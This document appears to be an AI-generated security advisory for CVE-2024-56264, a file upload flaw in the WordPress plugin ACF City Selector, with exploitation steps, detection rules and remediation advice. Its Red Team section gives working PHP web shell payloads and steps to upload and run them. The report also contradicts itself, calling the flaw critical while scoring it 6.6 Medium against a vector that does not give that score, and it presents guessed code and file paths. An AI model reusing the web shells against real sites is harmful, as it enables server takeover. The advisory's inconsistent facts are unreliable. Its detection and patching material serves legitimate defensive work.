CVE-2024-56264

Executive Summary

CVE-2024-56264 is a critical Unrestricted Upload of File with Dangerous Type vulnerability (CWE-434) affecting the WordPress plugin ACF City Selector by Beee, versions up to and including 1.14.0. This flaw allows an authenticated attacker (with at least contributor-level privileges) to upload a web shell to the server, leading to full remote code execution, data exfiltration, and potential lateral movement within the hosting environment. The vulnerability stems from insufficient file type validation during the upload process for city selector data files. No official patch has been released, and the vendor's status is marked as UNKNOWN/UNPATCHED. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the ease of exploitation and severe impact.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. Users who installed the plugin directly from the directory or via the WordPress admin panel are affected. Since the plugin is unmaintained and unpatched, the supply chain risk is elevated. Organizations should treat this as a compromised component and either remove it or implement strict virtual patching.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 6.6 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated WordPress user with upload capabilities.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Although the CVSS base score is 6.6, the actual risk is elevated due to the potential for complete server compromise and the lack of a patch.

Deep Dive & Mechanics

The ACF City Selector plugin allows administrators to upload CSV files containing city data for use with Advanced Custom Fields. The vulnerability lies in the file upload handler, which does not properly validate the file extension or MIME type. An authenticated attacker can craft a malicious file (e.g., shell.php) disguised as a CSV and upload it through the plugin's admin interface. The file is stored in the WordPress uploads directory, typically under /wp-content/uploads/acf-city-selector/. Once uploaded, the attacker can access the file directly via a web request, executing arbitrary PHP code on the server.

Key vulnerable component: The acf-city-selector/includes/class-acf-city-selector-import.php file (or similar) handles file uploads without checking for dangerous extensions like .php, .phtml, .php5, etc.

Vulnerable vs. Patched Code

Vulnerable Code (<=1.14.0):

// Simplified vulnerable upload handler
function handle_upload() {
    $file = $_FILES['csv_file'];
    $upload_dir = wp_upload_dir();
    $target_path = $upload_dir['basedir'] . '/acf-city-selector/' . basename($file['name']);
    move_uploaded_file($file['tmp_name'], $target_path);
    // No extension or MIME type validation
}

Patched Code (Hypothetical):

function handle_upload() {
    $file = $_FILES['csv_file'];
    $allowed_extensions = array('csv', 'txt');
    $file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (!in_array(strtolower($file_extension), $allowed_extensions)) {
        wp_die('Invalid file type.');
    }
    // Additional MIME type check
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime_type = finfo_file($finfo, $file['tmp_name']);
    if ($mime_type !== 'text/plain' && $mime_type !== 'text/csv') {
        wp_die('Invalid MIME type.');
    }
    finfo_close($finfo);
    $upload_dir = wp_upload_dir();
    $target_path = $upload_dir['basedir'] . '/acf-city-selector/' . basename($file['name']);
    move_uploaded_file($file['tmp_name'], $target_path);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with ACF City Selector <=1.14.0 installed and activated.
• An authenticated user account with at least "Contributor" role (or any role that can access the plugin's upload page).

Exploitation Steps:

1. Log in to WordPress as the attacker user.
2. Navigate to the ACF City Selector import page (typically /wp-admin/admin.php?page=acf-city-selector-import).
3. Create a malicious PHP file (e.g., shell.php) with the following content:

   <?php system($_GET['cmd']); ?>
   

4. Rename the file to shell.php.csv to bypass basic extension checks (if any), or simply upload as shell.php if no checks exist.
5. Upload the file via the plugin's form.
6. Access the uploaded shell at:

   http://target/wp-content/uploads/acf-city-selector/shell.php?cmd=id
   

Alternative Payload (Web Shell):

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>

Blue Team

Detection & Prevention:

• Monitor file uploads to /wp-content/uploads/acf-city-selector/ for non-CSV extensions.
• Implement a Web Application Firewall (WAF) rule to block uploads of .php, .phtml, .php5, .shtml, etc., in that directory.
• Restrict write permissions on the uploads directory using server-level controls (e.g., .htaccess with FilesMatch).
• Disable PHP execution in the uploads directory via .htaccess:

  <FilesMatch "\.php$">
      Require all denied
  </FilesMatch>
  

• Audit user roles and remove unnecessary upload privileges.

Indicators of Compromise (IOCs)

• File Artifacts:
  • Unexpected .php, .phtml, .php5 files in /wp-content/uploads/acf-city-selector/
  • Files with double extensions like shell.php.csv or shell.php.txt
• Network Traffic:
  • HTTP requests to /wp-content/uploads/acf-city-selector/*.php with query parameters like cmd, exec, system
• Log Entries:
  • WordPress debug log entries showing failed file type checks or unusual upload activity
  • Web server access logs with POST requests to /wp-admin/admin.php?page=acf-city-selector-import followed by GET requests to the uploaded file

Detection Engineering

YARA Rule

rule CVE_2024_56264_WebShell_Upload {
    meta:
        description = "Detects web shell uploads targeting ACF City Selector plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56264"
    strings:
        $php_tag = "<?php"
        $dangerous_func = /system|exec|shell_exec|passthru|popen|proc_open/
        $upload_path = "/acf-city-selector/"
    condition:
        $php_tag and $dangerous_func and $upload_path
}

Sigma Rule

title: CVE-2024-56264 - Web Shell Upload via ACF City Selector
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of PHP files to the ACF City Selector upload directory
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=acf-city-selector-import'
    file_upload:
        cs-uri-query|contains: '.php'
    condition: selection and file_upload
falsepositives:
    - Legitimate plugin updates (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56264 - ACF City Selector Web Shell Upload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=acf-city-selector-import"; http_uri; content:".php"; http_client_body; pcre:"/\.php/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Remove any suspicious files from /wp-content/uploads/acf-city-selector/.
3. Apply virtual patching via WAF to block .php uploads to that directory.
4. Restrict PHP execution in the uploads directory using .htaccess or Nginx configuration.

Long-term Fix:

• Since no official patch exists, consider forking the plugin and implementing proper file validation (see patched code example above).
• Monitor the WordPress Plugin Directory for updates or security advisories.
• Replace the plugin with an alternative that is actively maintained.

Valters IT Signature

Report generated by Valters IT DevSecOps AI Assistant | CVE-2024-56264 | 2025-04-10